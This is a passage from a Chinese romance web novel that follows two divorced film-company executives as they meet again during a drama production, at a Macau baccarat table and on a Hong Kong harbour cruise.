祝星亦不吭声，吵闹的客厅忽然安静下来。 一颗心无法在这种情形下还能保持平静。 苏寄欢觉得自己以前对祝星亦的爱太盲目，也太偏执。 她在这一刻才看清眼前这个只会逃避的胆小鬼。 不敢大胆说爱，不敢勇敢面对，不敢承受压力。 她所有不求回报的付出都是笑话，她像个可悲的傻子原谅祝星亦一次一次又一次。 却没有想过，这个女人根本就不值得。 人在真正看清一个人的时候会莫名清醒和冷漠，也会觉得过往做得那些事实在傻。 苏寄欢用力推开祝星亦，祝星亦踉跄两步站直身子。 “祝星亦，我会和你离婚，我也会和你彻底结束。” “我会处理离婚证的事，等办完证，你与我……”苏寄欢想说什么两不相欠，可祝星亦欠她太多太多太多了，现在无比清醒的她说不出来这个词，便冷冷地开口：“你与我，不要再见面。” 一个月后，祝星亦拿到了从温哥华寄来的离婚证。 白澜来办公室跟祝星亦汇报了一些工作，纠结许久说：“苏总去国外休养了，听说，要等好久才回来，可能是半年，也可能是一年，或许更久。” 祝星亦头也不抬地处理工作，[星闪］和[苏盛］没有解除合作，要履行三年的合约。 “随便。”祝星亦敲着字，“不关我的事，以后不要跟我提她。” 许久以后的春日，祝星亦前往鹿芜观拜神。 她熟练地换了鲜花，出门跟几个常来的老人搭话聊天。 风一吹，檐角的风铃晃动，祈福牌碰撞作响。 祝星亦忽然想起当年第一次来鹿芜观的那天。 那已经是十年前的事了。 十年，十年。 她和苏寄欢，也认识十年了。 第143章 祝总，请 三四月[星闪］做了新的一年的影视规划，[星闪］和[苏盛］合作的最后一年，再拍两部影视就能完全达标。 “我们在以上提供的5本剧本里挑选了《长离引》这部小说，作为[星闪］和[苏盛］最后一年合作的电视剧收官之作。这部《长离引》……”去年[星闪］刚签约的新锐导演韩珑还没说完，被桌上的[苏盛］影视策划魏晴打断。 魏晴蹙眉道：“韩导，《长离引》是一部……双女主小说，你确定要和我们一起拍这个题材的电视剧？” 韩珑没有直接反驳魏晴的话，丝滑切换ppt。 PPT上是近几年来大火的双女主cp所创的热度。 众多双女主cp中，某对cp的热度一骑绝尘。 魏晴看到大屏幕中[月星百万］的热度数据统计愣了许久，很快会议室里的人们交头接耳。 “不是，没人跟她说祝总和苏总的事吗？” “她应该不知道吧，这些小年轻哪里知道那些陈芝麻烂谷子的事？前两天实习生还问我为什么苏总一直在海外，这怎么回答？” “话说她做ppt，上层不审核的吗？公然放苏总和祝总的cp，也不怕被骂。” “且不说双女主这个题材苏总祝总那边会不会过，就这个cp示例摆明不行啊。拿两家公司领导当范例先不说，祝总和苏总的恩恩怨怨她自己不事先调查的吗？” “别告诉我[星闪］新签约的一批人才都是这样的……真不怕被辞退吗？” 会议开到一半，白澜过来查看情况，魏晴正好开门从会议厅出来。 “怎么样了？”白澜上前询问。 魏晴想说那个不知好歹的导演现在正磨破嘴皮子拿[月星百万］的cp热度试图劝说大家接受双女主题材电视剧，而众人因为涉及两方领导大气不敢出的场面有多尴尬。 但抬头看白澜关切的模样，摇了摇头说：“还没有讨论完，等下看看情况。” “等开完会，我这边要和你对接一下这次会议内容和后续规划，你开完跟我说一声就好。” 魏晴点点头：“好。” 晚十点白澜送祝星亦回家，谈到筹划拍剧的事，祝星亦让白澜监督韩珑先把剧本定下。多跟[苏盛］拉几次会议，确保万无一失。 明年这个时候[星闪］和[苏盛］的合作到期，看样子也没有再合作的机会，祝星亦只希望这一年的合作能够顺顺利利。 白澜想起魏晴说韩珑准备敲定双女主剧本，顺嘴跟祝星亦说了两句，祝星亦没太大反应，只说[苏盛］那边通过了就可以拍摄。 [星闪］当初能签韩珑，不只是因为韩珑拿了几个微电影金奖，还有一个原因是这位韩珑是一位自带资源的人。 韩珑家是影视世家，外婆是华联电影制片厂前副厂长，几代积攒下来的人脉不说够用，起码是不愁找合作方。所以祝星亦对韩珑算是放养式培养，给舞台给空间，其他的只要不太过分就好。 这类人，只要面子上给足，别的都好说。 祝星亦想，[苏盛］肯定也会给韩珑面子。 谁不想拥有一个行走的人脉库？ 但双女主题材卡住了[苏盛］的脚。 第二次开会，会议厅，魏晴有些为难道：“不是我们不愿意接这一波流量，而是这个题材很敏感，万一拍了上不了线……” 韩珑大手一挥播放后面的ppt，上面详细解答了魏晴的疑惑。幕视早就已经有了海外版，用户指数高，即便最终无法上映国内，也能在海外挣一波名气。 “我想表达的是，今年是全球双女主百花齐放元年，如果我们不接这波流量，就会被别人接住。如果我们拍出了一部优质的双女主，那对中百影视的影响是难以估计的！” 会议进行到最后，魏晴揉着吃痛的太阳穴松口：“我回头跟苏总聊聊，但我有一个请求，可以把cp介绍那几p删掉吗？” 走出[星闪］，[苏盛］的员工有些担惊受怕地问：“晴姐，我想你应该知道苏总以前的事，她肯定对双女主题材有抵触，而且是和[星闪］拍摄双女主题材影视，这不是打苏总的脸吗？咱们都知道，当初……” “我也实在没办法，但这个流程必须走。”魏晴也苦恼得很，[星闪］真是签了一个不知死活的导演，什么剧都敢想。 “晴姐，我想知道，我们苏总真的要久居海外了吗？我好久没见过她了，她不拍影视剧，也不回来处理工作，会议全是线上，她到底还回不回来？” 魏晴沉默了会儿说：“我也不知道，所有人都不知道苏总到底还会不会回来。听说苏总开始去海外时身体状况很差劲，休养好久才缓过来。如果离开这片土地真的能让她健康，那我也希望……她永远不要回来。” “可是……”魏晴想起自己多年前和苏总祝总打过的照面，那时两人在路边压马路，两人拌嘴，闹了会儿脾气又手牵着手继续压马路。 魏晴已经忘记那是什么时候了，那时她还是某大厂的实习生，[月星百万］的cp热度还很高，而现在她已经是经验丰富的[苏盛］影视部的影视策划总监。 时过境迁的季节里，遗憾好像不只是那两个主角的。 第三次会议，会议厅—— “经过我司与贵司的谨慎讨论，基于合作条约准则，我们决定启动《长离引》拍摄项目。我们将于15个工作日内处理好筹划方面的工作，期待与贵司的合作。” 主持会议的白澜宣布完，便走出了会议厅。 真是令人意外，[苏盛］居然真的答应合作拍摄《长离引》。 看来[苏盛］还是想接这波流量的。 会议厅的门合上，厅内的韩珑搓搓手打开自己的PPT播放选角规划。 枯燥的概念快速翻过后是一页双女主选角预案，看到角色的那一刻，全会议厅的人噤声了。 韩珑兴高采烈地介绍两位女主[云长洛］和[唐离］的选角——苏寄欢和祝星亦。 “提起双女主爆火的cp，这两位的[月星百万］的爆火程度无人能挡。而且这两位的形象非常适合[云长洛］和[唐离］，简直是天选[不与卿长离］！！所以我倾向于邀请这两位出演《长离引》，若是她们来演，绝对不止出圈那么简单。”韩珑说完看大家都在沉默，拧着眉毛问：“各位有什么看法？” 场面一度变得很尴尬。 [星闪］的员工忍无可忍，拍着桌子起身。 对面的[苏盛］员工齐齐望向那位员工。 苏总和祝总的事，员工不能拿到明面上讨论，更何况，那些过往的事涉及了太多恩怨，说出来怕是要展开一场大战。 大脑运转许久，[星闪］的员工灰溜溜坐下。 魏晴举手。 韩珑热情地邀她发言：“来！” 魏晴弱弱道：“我申请下次再讨论选角，我们[苏盛］这边也要考虑考虑。” 韩珑欣然同意。 走到楼下，整条街响起魏晴凄厉的声音：“她疯了！她到底想害死谁？！她是谁派来的！她到底有什么阴谋！” // 澳城，酒店。 早九点，一行人落座。 侍者上了一壶铁观音，韩珑为桌上的另外三人倒茶。 邱明珠道了句多谢，继续聊北美特效团队里的国人员工。 祝星亦听邱明珠讲了会儿，第一道菜便上了——海鲜粥。韩珑照旧做起了[小服务员］，把粥一一盛给座上的人。 母亲韩琳投来赞赏的目光，韩珑美滋滋坐下继续听祝星亦和邱明珠聊天。 邱明珠是韩琳帮忙牵线的投资人，她恰好有特效团队的相关资源。对仙侠剧来说，特效制作是重中之重，[星闪］会极为重视《长离引》的后期团队。 一顿早茶吃得极为愉快，邱明珠擦擦嘴角，带祝星亦随意逛逛。 澳城能逛的地方并不多，但来澳城，必去赌场。韩珑开车载几人到达地点后跟在祝星亦和邱明珠身后走。 韩琳瞄了眼身后正回复消息的韩珑，退了半步问韩珑怎么那么开心。 韩珑跟韩琳耳语两句，韩琳挑起眉头：“真的？” “兴许快到了。”韩珑确定，“八成稳了。” 韩琳叹道：“我该怎么说你呢，这次……” “妈，别跟我讲了，我不想听，我只想达到我想要的效果。”韩珑拍拍韩琳，随前面几人走进大厅。 意外地被检查了身份证，韩珑打趣道：“我看起来那么小吗？！” 韩琳看韩珑穿的一身冲锋衣，再看韩珑那张娃娃脸。 “显小显小，快掏身份证。”韩琳催促她快些进去。 踩在柔软的地毯上，金色和红色的世界有些让人眩晕。 “来玩？”邱明珠邀请，“小小玩一局，不用太多。” 祝星亦欣然同意。 来到一张牌桌，稍微了解一下这里的规则，祝星亦走过去轻叩桌面，戴着白手套的荷官拂过牌匣。 “庄家坐位。” 祝星亦抚平裙身的褶皱坐下，荷官的手悬过牌盒上方，一旁的电子屏上显示[庄闲庄闲庄］。 叮咚—— 邱明珠垂头看手机上的信息，不一会儿，一阵冷幽的香味袭来。 转头望，身穿黑色套装的女人走过来。围观的人顺势让出道路，女人纤细的指拂过椅背坐下，侍者快步过来端上冰镇过的红酒。 “八十万，闲。”筹码拍在绒布上，腕上金玉叠戴的镯子磕碰出声响，苏寄欢挺直脊背，端起高脚杯的红酒饮了一口。 她侧目，一旁的女人尾指发颤。 验牌过后，荷官把牌铺成扇面。苏寄欢没将目光停留多久，将卡牌推过桌线后叩了叩桌沿：“切牌。祝总，请。” 第144章 祝总，你真无趣 赌区的嘈杂声很大，韩珑拿了杯酒水慢悠悠晃过来，看到苏寄欢把卡牌推过中线。 挑衅？ 韩珑觉得有点意思，凑过去观战。 祝星亦勾过切牌卡又插入牌堆中，发牌器吐牌后，荷官轻说一声：“补牌。” 机器的响声和人声慢慢将此处的声音淹没，不一会儿，荷官翻开牌，庄家要嗮。 韩珑想说句恭喜的话，被一旁的韩琳按住了手腕。 “祝总想连胜吗？”第二局开前，苏寄欢笑问。 祝星亦没吭声，安静地等荷官发牌。发牌器嗡嗡作响，荷官翻开庄家的牌，又赢了一局。 “祝总连赢三局了……”韩珑刚开口，便被韩琳掐了一下手背，还被瞪了一眼，韩珑知趣地闭上嘴。 血红的筹码越堆越高，几个工作人员被安排到这边，围观的人多了些，韩珑怕被挤到外面，只能把腿往人群里卡了卡。 “Allin。”苏寄欢看起来实在无所谓，又将筹码推过中线，腕上叠戴的金玉镯子叮当作响，目光没有丝毫改变——冰冷冷又带着讥嘲的意味，和离婚那天的神情一模一样。 等看到无需补牌的结果后，祝星亦身子轻轻摇晃。不需要补牌也意味着……她需要对闲家进行巨额赔付。 苏寄欢把所有的筹码都赢回去了，刚刚那句[祝总想连胜吗］貌似是预制嘲讽。 祝星亦望向闲家座位，座位上的人微微歪着脑袋，耳上的金色长坠垂落到肩头，一身黑色丝绒鱼尾裙，像高贵的神女。 前任见面，分外眼红。 两年了。 两年没见了。 有些人是重逢的感动和心酸，泪眼婆娑，眼角泛红，有人则是……杀红了眼。 “我要验牌。”祝星亦叩响铜铃跟荷官喊话，“我要验她的牌。” 苏寄欢靠在椅背上，一副好整以暇的模样。 VIP厅的贵宾有权力要求验牌，荷官立刻执行，扫描过后发现并无异状。 那个黑色鱼尾裙的女人夹起桌上的骰子丢进了祝星亦手旁的香槟杯里，橙黄的液体溅起几滴水珠落在祝星亦手背上。 “你还是这么无趣。”苏寄欢轻瞥了一眼祝星亦低声讥嘲，“这点筹码都舍不得？” 祝星亦压着火气没吭声。 算了，输了就输了。 赔付过后，祝星亦转个头的功夫，苏寄欢便不见了。韩琳道：“苏总刚回来，今天好像要去港城开会。” 祝星亦不想知道关于苏寄欢的消息，但也无法完全不在意。 韩琳瞄见祝星亦轻蹙的眉头告知她：“听说是谈《长离引》的投资，前期筹备方面，苏总回来后就亲自接手。” 祝星亦淡淡哦了声，随意搭了几句腔便随邱明珠离澳去港。邱明珠说什么都要带祝星亦好好在港城玩几天，祝星亦没多推辞。 “祝小姐上次是不是没来得及去太平山顶？那边看港城夜景视野很佳，比游客常去的维港要美上几分。”邱明珠给祝星亦安排这几天港城的行程，“不过维港夜景还是要再看一遍，晚上见。” 祝星亦颔首，去往酒店。 酒店定在尖沙咀的海景房，开窗便可眺望维港。白澜留在房屋里简单收拾了一下问：“邱女士要带你去看维港夜景？这季节游船上风很大，你穿厚点。之前到这儿没来得及去坐中环那边的摩天轮，我……” 祝星亦点头：“你去玩吧，记得买特快票，否则要排很久的队。” “嗯。我要先排队买雪糕。”白澜得到应允后，尾声都轻快不少，“我听说她还要带你登太平山顶啊，这几天天气还算好，夜景肯定不错。过段时间就是回南天了，听说这边的回南天比我们麓城的黄梅天更要可怕。” 想到黄梅天，祝星亦不禁打了个寒颤。 麓城的黄梅天屋子里又湿又冷，外面的空气湿度直达99％，一些木制的小玩意都要保存好，否则过几天便生了霉。除潮除湿是重中之重，听说网上的除湿器都是麓城周边和穗城周边的城市在购入。 港城这边的回南天也是折磨得要命，温度忽高忽低，紧接着就是连续多日阴沉沉的天，人到外面走一趟，头发都会滴着水珠。一些隧道像是在下雨，下坡稍微不注意就会摔倒。 都是令人憎恶的发霉和潮湿。 工作需要，祝星亦来过很多次港城。 第一次来港城是苏寄欢带她来的，港澳通行证也是苏寄欢带她去办的。 彼时她们还在拍摄《寄明月》，工作日不忙，苏寄欢随意问了嘴去港城有没有去坐叮叮车。祝星亦忙说自己还没去办通行证，苏寄欢二话没说开车带她去出入境大厅办理证件。 5天后证件到手，趁剧组休息，苏寄欢又赶忙带祝星亦去港城兜了一圈儿坐叮叮车。 年纪大了就记不得太多细节，祝星亦只记得苏寄欢带她挤上二层后边兜风边唱歌。 唱的歌……好像忘记了。 海上风大，咸涩的水汽忽地蔓延上来。坐二层兜风是挺不错，但总觉得在一层听海浪的声音更有感觉。 祝星亦不知道自己为什么喜欢听海浪的声音，也许是源城海上烟花过后的晚上，苏寄欢对她的逗弄*让她红了脸；也许是苏寄欢第一次带她去鸿城的海边，她听到自己震颤的心跳；也许是春日的沧城海边，她跟苏寄欢动情的告白；也许是温哥华悬崖酒店里，烟花在海面上升起，苏寄欢对她[另类］的求婚。 海上有永恒的浪潮，她与她却总是分离。 逢人便缄口不言的遗憾，落在眼里成了无尽的恨意。 互相折磨了十年，祝星亦也想知道这一切会在什么时候结束。 侍者上了酒，邱明珠与祝星亦谈起《长离引》的选角。祝星亦没有别的想法，只要周娅能饰演其中一个女主就好。 邱明珠笑称周娅是祝星亦的御用女主角，祝星亦道是周娅值得。 共患难最可贵了，不是吗？ 而她是抛弃苏寄欢的罪人，被世人数落。 一层的露天表演台的乐手在调试吉他，对面的邱明珠说等下会有无人机表演，祝星亦出神地想着什么，楼梯那处响起了脚步声。 金色的长耳坠闪着耀眼的光芒，祝星亦抬头看上来的女人，一时间忘记如何开口。 苏寄欢换了条白裙子，海风拂过她的长发，维多利亚港的夜色在她身后铺陈开来，九龙半岛的摩天楼倒映在波光粼粼的海水上，映出钻石般的光芒。 春夜忽然变得黏稠起来，像令人厌恶的回南天。 邱明珠转头顺着祝星亦的目光望去，见苏寄欢和陈嘉玲上来了，扶着桌子摇摇晃晃起身。 风有些大，船身一直在晃。祝星亦把身上的披肩往肩上挂了挂，邱明珠已经走去和二人打招呼。 “Kari，你怎么也在这，刚刚上船没看到你。”邱明珠与苏寄欢问好过后惊喜地握了握陈嘉玲的手，“真是错过了，我们应该一起上船。会议是已经结束了吗？” “我刚刚也没注意到，这可真是巧了。”陈嘉玲随邱明珠走到桌前，并与祝星亦问好，“祝总，巧。” “巧。”祝星亦颔首，垂眸拢了拢身上的披肩，视线随意飘忽了下，最后落在苏寄欢的小腹上。 劲风吹着，白裙紧紧贴住苏寄欢的腹，露出常年健身的轮廓，以及无法让人忽视的36D。 祝星亦暗道苏寄欢保养得不错，和以前的身材竟没什么差别。 陈嘉玲笑着跟祝星亦说：“苏总与我刚用完餐便被我带到这里了，我说这里会有一场无人机秀，苏总也感兴趣便随我一起登船。” 她抬起腕上的石英表看了看说：“还有两分钟就要开始了，稍等我们去甲板那边看？” “好啊。”邱明珠道。 侍者上了几杯酒，陈嘉玲拿起一支香槟和邱明珠一起往甲板走去。 祝星亦裹紧了披肩准备过去，白衣裙的女人还站在原地没有动弹。 游艇晃了下，祝星亦心里有些飘忽没站稳，紧急之下扶住了桌子才借力站直。余光里，苏寄欢稳稳站着，指尖动了动，若无其事地拢起鬓发。 邱明珠招呼二人快过来，“祝总，苏总，来，无人机秀要开始了。” 祝星亦提了下裙子朝邱明珠走去，裙摆扫过苏寄欢的脚背，像被羽毛搔了下心窝。 走了两步，船身晃动不说，整个人仿佛被什么定住了，祝星亦也差点因为惯性往后倒去。 提了提裙子，祝星亦转头，看到苏寄欢的黑色高跟鞋踩着她的裙摆。 冷若冰霜又有些讥嘲的女人懒洋洋地道歉：“祝总，不好意思。” 踩裙子？ 祝星亦忽然想起两人第一次见面的场景，她不小心踩了苏寄欢的裙子，苏寄欢表面说没事，转头就拽她的裙摆。 这人记仇得很。 游艇发动机的震颤顺着甲板爬上来，祝星亦攥紧手里的披肩，厌烦地踢了下自己的裙摆，腰一弯，便把长长的裙摆提在手里。 祝星亦不想与她多交流，这女人怕是冲着报复她才突然回国的。 第145章 港城不会下雪 甲板上的风太大，祝星亦站过去风便透过披肩钻到皮肤上。 邱明珠与陈嘉玲跟两人聊起了天，聊了两句，话题转移到两人身上。 涉及项目的细节，邱明珠和陈嘉玲识趣到一旁谈话。 “上周[星闪］就给[苏盛］递交了方案，选角我们这边还是推荐周娅作为女主之一，如果[苏盛］有适合另一个女主的，可以给点参考。”祝星亦看着无人机表演拢了下脖颈处的披肩，羊毛绒滑过锁骨带起一丝痒意，稍作整理后又道：“不过……苏总怎么有空回国了？我们还以为苏总要久居国外。” 苏寄欢没有就着祝星亦的话接着说下去，“Kari说很可能要换掉周娅，流量不够实力不够，撑不起她拉的投资。如果是这样的话，祝总要怎么保住自己缪斯？” “只要是[星闪］的艺人来演就行，亏不了。” 苏寄欢挑眉：“你现在倒是学会了折中，也是，只要是[星闪］的艺人来演，亏不了。我这边也倾向[苏盛］的艺人演另一个女主，这也算是一种完美的合作。” [星闪］和[苏盛］的演员还没搭档过演主角，若是这样的话，也是一个话题。 游艇缓缓驶过星光大道，邱明珠和陈嘉玲讨论对面ifc顶层的灯光。 海风大了些，祝星亦弯腰理裙子的功夫披肩从肩上滑下，险些被吹走。苏寄欢帮忙抓住一角，淡淡嘱咐拿好。 “多谢。”祝星亦裹紧披肩，眼角余光留意苏寄欢的动作。 苏寄欢轻轻抬手撩发，偏头的弧度和以前没什么差别。 两年前前往温哥华办理离婚手续后，祝星亦很少再跟人讲起苏寄欢。 说来也是惭愧，当初醒来后信誓旦旦要把人追回来，最后还是被现实打倒。 人应该常去经历和感受，否则会永远活在幻想里，永远都觉得这个世界没有那么残酷。 想来是进入工作状态会让人稍微理智些，苏寄欢没再说什么尖酸刻薄的话，祝星亦应对起来倒也轻松。 《长离引》的选角问题还需要再考虑考虑，至于韩珑提出的要二人出演，可能性不是很高。 “息影多年不觉得遗憾吗？”祝星亦侧头问。 苏寄欢笑说：“[苏盛]拍的影视剧利润核算下来，可比我自己演戏赚得多多了，何必再费神去演戏？” 祝星亦记得以前苏寄欢把演艺事业看得很重，到底是什么时候专注于生意的，她也不清楚。 带[星闪]回国前，祝星亦看过苏寄欢1年去9个剧组的新闻，那时候她觉得苏寄欢拼到不行，肯定是为了发泄被晏氏压制太久的怒火。 离婚后苏寄欢便只为[苏盛]的工作操心，人们都觉得她不演影视剧有些遗憾。其实她人生里该获得的成就都拿到手，各种类型的影视剧都演过也都得过许许多多的大奖，只专注手里的生意没什么不对。 “也是。”祝星亦淡淡道。 海风转了弯，两人沉默地看着刚刚看过的景色。邱明珠和陈嘉玲聊得正开心，这处只有片片风声。 初初祝星亦觉得苏寄欢回国是为了报复她，但现在她才发现，她们只是两个熟知的陌路人。 [报复]这种事放在其他次元会带着暧昧的色彩，在她们身上好像已经过了奇幻的保质期。 游艇蓝色的灯光映在起伏不定的海水上，祝星亦想要再说些话好让空气不那么压抑，转头看到苏寄欢飘扬的墨发里夹杂了一根白发。 祝星亦恍惚了一会儿才想到苏寄欢已经37岁了。 十年前，19岁稍显稚嫩的她遇见27岁风华正茂的苏寄欢。 后来，那些人指责过她，指责她耽误了苏寄欢那么多年。 但她如今也29岁了。 谁的十年不是十年。 祝星亦没想着再继续开口，和苏寄欢保持一样的姿势看维港。 人们总会把内地繁荣奢华的魔幻都市麓城和港城做比较，调侃港城领先内地已经是上个世纪的事，现在麓城一马当先，又有许多起飞的新一线，谁还会把港城当最值得被追逐的城市。 道路拥堵不堪，又小又昂贵，到处都是严苛的规则，还要被年纪大的本地人歧视，远不如麓城自在。 但麓城本地人不也一样用尖酸刻薄的语言歧视外地人，高高在上的模样和港城如出一辙。 祝星亦揉揉被风吹疼的眼，苏寄欢看过来，她低声说头发飘眼里了。 苏寄欢没再言语，沉默冰冷的侧影和春日的月光一样冷。 祝星亦往一旁站了站，和苏寄欢保持恰当的距离，缄默地眺望维港，目光却时不时往苏寄欢身上轻瞟。 小时候在影视剧里看到的遥远又全是故事的城市，现在是她枯燥的工作区域，贴在墙上的画纸也是她看过千百遍的风景。 港城是千禧年的回忆。 港城老了。 但一直很美。 // 次日祝星亦睡到饱才起来，白澜带她去吃烧鹅。 “我还想再去港迪，我明天就去。”白澜吃完擦擦嘴打开备忘录，上面记着之前的行程。 工作原因，需要在港城多待几天，白澜打算直接住园区那边好好感受一下港迪。 “你不是一周去一次麓迪，怎么还贪恋这里？”祝星亦边吃饭边看邱明珠发的消息，晚上要去太平山顶的餐厅吃饭，白天的行程祝星亦自己规划就好。 “一点都不一样，港迪人少啊，很出片，项目也不用排那么久。”白澜说，“你要不要也来？你帮我拍几张照。” “邱小姐那边没什么安排的话我陪你去。” 白澜喜上眉梢。 关于港城，祝星亦能玩的地方都玩得差不多了，白澜晃晃手机说下午随意溜达溜达，傍晚去坐露天大巴，逛完就去吃饭。 祝星亦没什么安排，用餐过后随白澜随意逛逛买了些吃的。到傍晚时分，祝星亦去坐终点为中环码头的巴士，白澜说到终点后再去对岸坐一次摩天轮。 “你坐不腻？”祝星亦问，“你每次来都想坐，但在里面拍照并不好看，想出片还是要在下面拍，把摩天轮照进去才好看。” 白澜晃一下身子说：“那就在下面拍，我换了一身衣服，多拍几张。” “你这一次过来怎么老是想拍照？恋爱了？” 白澜缩缩脖子点头：“是哇，所以想多拍点，等哪天调休我带她也来玩儿。” “行，给你调一周。” “星亦你真好。” 非节假日人也不少，在沿途站上空位也不多了。祝星亦问司机上层还有没有坐，司机说还有一个，白澜让祝星亦先上去。 二层是露天的，吹风看落日余晖的港城实在美丽。登上去后便看到撒着金箔的城市，是不一样的视角。 祝星亦恍惚了下，随后四顾了番，终于在最后一排找到了一个空位，空位旁坐着一个戴帽子的白衬衫灰裤女人。 干净利落的打扮，真是眼熟。 祝星亦慢慢走过去坐下，不小心按在女人腿上，连忙致歉：“唔好意思。” 女人侧过头看过来，祝星亦心跳一滞，竟然是苏寄欢。 苏寄欢脚边放着在豉油街曲奇四重奏买的两盒伴手礼，看祝星亦愣着，说：“你也来坐？” “晚上才要赴宴，现在先随便逛逛。”祝星亦整理好衣服回答。 “嗯。” 巴士开始行驶，祝星亦本来心情有些跌宕，但迎着晚风看沿岸的风景自在了不少。一路上不是很堵，红灯都很少，熙熙攘攘的大街小巷在金色余晖里像老旧的照片。 前面座位的人都举起手机拍照，还有人唱起了歌。 祝星亦本想也举起手机录个像，看身旁的人一动不动，顺嘴问：“需要我帮你拍照吗？” “不用。” “好。”祝星亦只是礼貌性问了句，真要让她帮忙拍照，她都有可能不是很适应。 回归陌生人后，对话交流都显得极为小心和疏离。 到码头后祝星亦起身下去，听到身后窸窸窣窣的声音扭头，苏寄欢提着曲奇饼干跟了上来。 祝星亦以为苏寄欢要跟她一起下有点忐忑，可这里是终点，她们当然要一起下。 白澜刷完手机看两人一起出来，愣了下问：“苏总也在？” 苏寄欢点头：“嗯，我在起始点上的车。” “苏总，我和祝总要去对面坐摩天轮，你也来吗？”白澜问。 望着维港的落日，苏寄欢摇头：“不去，我在这里自己待一会儿。” 白澜颔首，带祝星亦去里面买票坐船。 苏寄欢拎着曲奇往左边走，走到人少的地方趴在栏杆处吹了会儿风，灰蓝连衣裙的女人站在她身边。 “怎么不去坐摩天轮了？”苏寄欢问。 祝星亦拎着下午买的点心说：“想来这里吹吹风，摩天轮我坐过很多次了，没什么意思。” 她们安静地倚着栏杆看对面的红色摩天轮，红色和港城很适配，日落时分，海蓝和姜糖色在天幕上铺陈开来。天星小轮驶向对面，昏昏欲睡的黄昏让人迷醉。 彼此沉默了许久，祝星亦问：“苏总，麓城的麓铭江江景和维港夜景哪个更好看？” 问题抛过来的时候，苏寄欢换了只手拎曲奇。 她想说各有各的美，毕竟她确实觉得各有各的美，但话到嘴边变成：“比起麓城那样美丽奢华的钢铁森林，港城这种鲜艳的破败和繁华感，会自动给人们添加一层浓厚的滤镜。但维港会比麓铭江外滩的夜景好看吗？港口的海水和终将汇入海的长江水有什么区别。” 祝星亦沉思了会儿说：“不常来，所以会觉得更好看。” “晚上出门溜达到麓铭江看夜景看腻了？” “早就腻了。”祝星亦撩了下被海风吹起的发，“不过港城不会下雪，麓城会。” “雪也不是什么很珍贵的东西。”苏寄欢说，“我这次回来简单处理一下工作上的事，如果后期工作多，我可能会定居港城。” 祝星亦疑惑：“为什么要定居在这样拥挤的城市，夏天又闷又热，台风天又那么吓人。你定居的话，肯定也是住山上，多不方便。” 苏寄欢笑说：“你刚刚不是说喜欢看维港的夜景？台风天前后的维港别有一番风味，我之前不是带你看过？如果这里实在不好，我会回英国。” 就不能回麓城吗？ 可是，何必回麓城，麓城有讨厌的前任。祝星亦知趣地闭嘴。 天色渐渐暗了下来，摩天轮的灯光亮起。霓虹穿过云层投入海水中，两人一言不发地看着对面的景好久，邱明珠走过来看二人都在，轻声惊呼：“这么巧，都在？” 祝星亦转过身，邱明珠笑道：“那正好，待会儿一起去山上赴宴。” 祝星亦好奇道：“苏总……也去吗？” 邱明珠点点头：“是啊，一起的，而且苏总的房子就在半山那处。苏总，用完餐有空邀我们去看看你的房子吗？” 苏寄欢点头：“可以。” 祝星亦抓紧手里的袋子。 刚刚还说着只是打算定居，没想到……房子都已经买好了。 原来根本就不想回麓城。 原来想象中[为了报复］这个暧昧的想象是假的。 第146章 你要留在港城吗 邱明珠看时间不早了，邀二人去宴会厅：“我车在前面停着，你们稍等。” “好。”苏寄欢背着手说。 看着邱明珠离去的背影，祝星亦捏紧点心袋子轻松问道：“你已经在这里买好房子了？” 苏寄欢回道：“对，几个月前托家人帮忙购置了一套，已经装修好了。这次回来看了看装修情况，我还挺满意的，等用餐过后邀你们去看一看。” “好。”祝星亦换了个手抓袋子。 苏寄欢瞥了眼袋子上的logo，德成号蛋卷和bakehouse蛋挞。 “要带伴手礼回去吗？”苏寄欢问。 祝星亦提了提袋子道：“不是，留着自己吃。” “嗯。”苏寄欢不再言语。 邱明珠的车不知道什么时候过来，两人像木桩子似的在维港旁站着，气氛实在尴尬。 祝星亦想了许久才低头打开蛋挞袋子主动找话题：“蛋挞我买了很多，你要不也拿一点？” 苏寄欢脸上忽然露出一股淡淡的讥嘲：“谢谢祝总好意，不过我不太喜欢吃蛋挞这种很腻的食物。” “哦。”祝星亦合拢袋子，忽然觉得自己有点自找没趣。 祝星亦常常觉得自己是个很没有意思的人，主动分手又主动追，主动离婚，重逢后又主动搭话。 不过现在来看，即便主动搭话也没什么值得在意的。 彻头彻尾的陌路人有什么好在乎的。 邱明珠开车到附近时，白澜恰好回来。一行人落座，邱明珠开车，白澜坐副驾，后排便是苏寄欢和祝星亦。 白澜抬头看后视镜，问：“星亦，我给你拿着袋子。” 祝星亦把袋子递了过去。 手里没了东西，位置也宽松了，苏寄欢便把手里的曲奇放两人中间。 曲奇盒子把二人隔开，谁都不越半分城池。 行至半山处，邱明珠看着后视镜说：“苏总的房子就在这片吧？” 苏寄欢：“对，就在这里。” 祝星亦顺着二人聊天的话题往右侧看，看了会儿，苏寄欢提醒：“不在那边，在这边。” 苏寄欢指指自己那侧的窗户，祝星亦不好挤过去看，只伸了下头假装恍然大悟哦了一声。 到餐厅后邱明珠泊车，白澜把点心放座位上跟祝星亦一起去餐厅门口。转头看苏寄欢还拎着点心，赶忙道：“苏总，我帮你把曲奇放车里可好？” 苏寄欢这才注意到还在拿着曲奇，“哦，不用，我自己放回去，你们先进去。” “好。” 到达餐厅后，韩珑几人已经在等待。 “这里。”韩珑起身招呼几人坐下。 邱明珠缓缓坐下：“不好意思，到得比较晚。” “我们也刚到。”韩珑看苏寄欢和祝星亦一起来还坐在一起，也没管韩琳的嘱咐，忙说：“祝总苏总一起过来的？” “我在维港看到她们的，真是巧了。”邱明珠的目光在二人身上逡巡，“听说还一起坐了落日飞车。” 韩珑挑起眉头，兴高采烈地正要说什么，韩琳在桌下掐她腿。 韩琳：“现在不是节假日，人是不是很少？” “还好。”祝星亦回答。 陈嘉玲道：“若是碰到周末或节假日，排一个小时的队都有可能。” “起始站的时候人就比较多，中间下去的人很少，祝总在沿途上来的时候正好有空位，否则也要再等一等。”苏寄欢跟着说，说完，看了眼祝星亦，“祝总下午去哪里逛了吗？ “随便逛了逛，明天要去迪士尼，苏总有空一起去玩吗？” 苏寄欢道：“明天我还有事，就不打扰了。” 祝星亦嗯了一声便收声。 邱明珠和韩琳几人就着迪士尼聊起了天，祝星亦看苏寄欢和几人热切地说话，努力清空乱七八糟的思绪加入话题。 用餐途中，陈嘉玲提起《长离引》选角的事，“阿珑跟我说最适合演这两个女主的是你们二人呢，与我说了许多次，我今天想了想，觉得阿珑说得有点道理，二位怎么想的？” 